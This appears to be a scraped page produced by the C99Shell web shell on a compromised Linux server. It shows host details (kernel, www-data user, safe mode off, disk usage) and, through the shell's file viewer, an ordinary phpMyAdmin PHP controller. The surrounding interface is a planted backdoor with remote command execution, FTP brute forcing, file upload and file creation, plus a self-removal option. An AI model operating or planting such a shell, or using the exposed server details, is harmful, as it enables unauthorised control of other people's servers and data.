!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/Database/   drwxr-xr-x
Free 83.29 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PrivilegesController.php (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Controller for database privileges
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Database;

use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Server\Privileges;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Util;

/**
 * Controller for database privileges
 */
class PrivilegesController extends AbstractController
{
    
/** @var Privileges */
    
private $privileges;

    
/** @var DatabaseInterface */
    
private $dbi;

    
/**
     * @param Response          $response
     * @param string            $db       Database name
     * @param DatabaseInterface $dbi
     */
    
public function __construct($responseTemplate $template$dbPrivileges $privileges$dbi)
    {
        
parent::__construct($response$template$db);
        
$this->privileges $privileges;
        
$this->dbi $dbi;
    }

    
/**
     * @param array $params Request parameters
     */
    
public function index(array $params): string
    
{
        global 
$cfg$text_dir$PMA_Theme;

        
$scriptName Util::getScriptNameForOption(
            
$cfg['DefaultTabDatabase'],
            
'database'
        
);

        
$privileges = [];
        if (
$this->dbi->isSuperUser()) {
            
$privileges $this->privileges->getAllPrivileges($params['checkprivsdb']);
        }

        return 
$this->template->render('database/privileges/index', [
            
'is_superuser' => $this->dbi->isSuperUser(),
            
'db' => $params['checkprivsdb'],
            
'database_url' => $scriptName,
            
'theme_image_path' => $PMA_Theme->getImgPath(),
            
'text_dir' => $text_dir,
            
'is_createuser' => $this->dbi->isCreateUser(),
            
'is_grantuser' => $this->dbi->isGrantUser(),
            
'privileges' => $privileges,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0041 ]--